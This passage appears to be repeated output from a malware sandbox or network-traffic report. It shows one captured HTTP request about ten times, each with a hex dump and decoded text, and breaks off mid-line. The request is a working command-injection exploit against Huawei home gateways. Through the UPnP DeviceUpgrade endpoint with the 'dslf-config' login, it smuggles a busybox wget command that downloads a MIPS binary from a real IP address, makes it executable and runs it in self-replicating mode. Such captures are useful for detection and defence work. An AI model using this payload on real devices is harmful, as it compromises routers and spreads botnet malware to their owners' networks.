?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 